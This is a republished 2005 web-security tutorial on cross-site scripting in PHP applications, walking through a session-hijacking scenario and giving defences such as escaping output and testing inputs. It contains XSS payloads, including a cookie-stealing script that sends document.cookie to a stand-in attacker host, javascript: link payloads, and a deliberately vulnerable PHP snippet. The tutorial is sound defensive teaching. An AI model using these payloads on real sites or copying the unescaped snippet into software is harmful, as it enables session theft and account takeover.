The following article was originally written in July 2005 and published on SitePoint.com, and is republished with permission. For securing your web application you should probably also read about CSRF and clickjacking.
Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by script kiddies. By stealing your cookies, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.
How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <, &, or “ which have a different, and special, meaning when they appear as part of HTML. If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental < characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags. Any user who happened to slip the character sequence <script into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.
This code may either be relatively harmless – for example, creating unwanted popups or spam – or malicious – code that is intended to gain private information in order to break into each user’s account on the system.
Although cross-site scripting often involves the insertion of a <script> tag into a web page, it is possible to do some damage with other code. There are many ways to run Javascript in a browser other than through the use of a <script> tag, as well as many other forms of active content besides Javascript. The XSS cheat sheet is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <script> tags.
Relatively harmless uses of Cross Site Scripting:
- Code intended to disrupt the layout or appearance of a web page.
- Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.
- Code intended to launch unwanted popup windows for advertising or shock value.
Some more harmful uses of Cross Site Scripting:
- Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
- Objects or applets intended to exploit a known security vulnerability in a particular browser.
Life cycle of a cross-site scripting exploit
I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.
Joe has built himself a custom CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.
Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.
A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:
<script>alert('Hello World');</script>
Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.
Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:
<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>
Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.
Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.
Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is session hijacking – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system. XSS is a way for an attacker to obtain access to sessions on another server.
Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:
<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A web page about dogs</a>
If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.
Furthermore, Rick could have embedded his JavaScript into event handler attributes such as onclick, onmousemove and onsubmit – the latter which could be used to modify the behaviour of a form on the site.
Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.
Patch those holes
Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.
Whenever displaying plain text content on your web site, escape the plain text string before doing so. In PHP, a simple way to do this is to use the htmlspecialchars function on the data right before. This includes all plain text data, whether it be user-submitted or not. The idea is that < and & characters need to be escaped whether their use is malicious or not.
You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.
if (strlen($_GET['username']) > 12)
exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");
In this case, the user variable “username” is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:
http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E
The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party. Notice that here, the <script> tag is URL encoded. This will automatically be decoded by the server.
You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication. Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection. In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else’s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.
What if you want your users to be allowed to submit HTML?
Escaping plain text for output is easy. All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.
However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder. Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex regular expression. Any filter would need to be able to interpret the HTML in the same way that a browser – any browser – might, and browsers do some strange things.
A common compromise, as seen on many blogs, is to allow only a small subset of HTML. This makes filtering considerably more attainable than otherwise, but by no means simple. A read through of the XSS cheat sheet will reveal the necessary complexity of any required filtering mechanism. What’s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).
I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs. It is capable of understanding the entire HTML language in terms of its DTD. To say it is complicated is an understatement, and it still has its limitations. If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.
Testing for cross-site scripting vulnerabilities in your application
A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.
The XSS cheat sheet that I mentioned above is the best source of XSS testing code that I know of.
Try, for example, inserting the following code where you would like to test.
<script>alert('Hello World!');</script>
Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.
It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?
Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.
Forum code or “BBcode”:
[url=javascript:alert('Yes');]Are you vulnerable?[/url]
Wiki markup:
[javascript:alert("Yes");|Are you vulnerable?]
Is your forum or wiki vulnerable?
The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.
More information about cross-site scripting is available in this CERT Advisory and this document from Apache. The Apache document points out, rightly, that the name “Cross-site scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.
Have a look at this very thorough article by Chris Shiflett on preventing cross-site scripting attacks.
Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications. However, other common vulnerabilities such as CSRF, including Login CSRF (PDF), and clickjacking, are just as serious.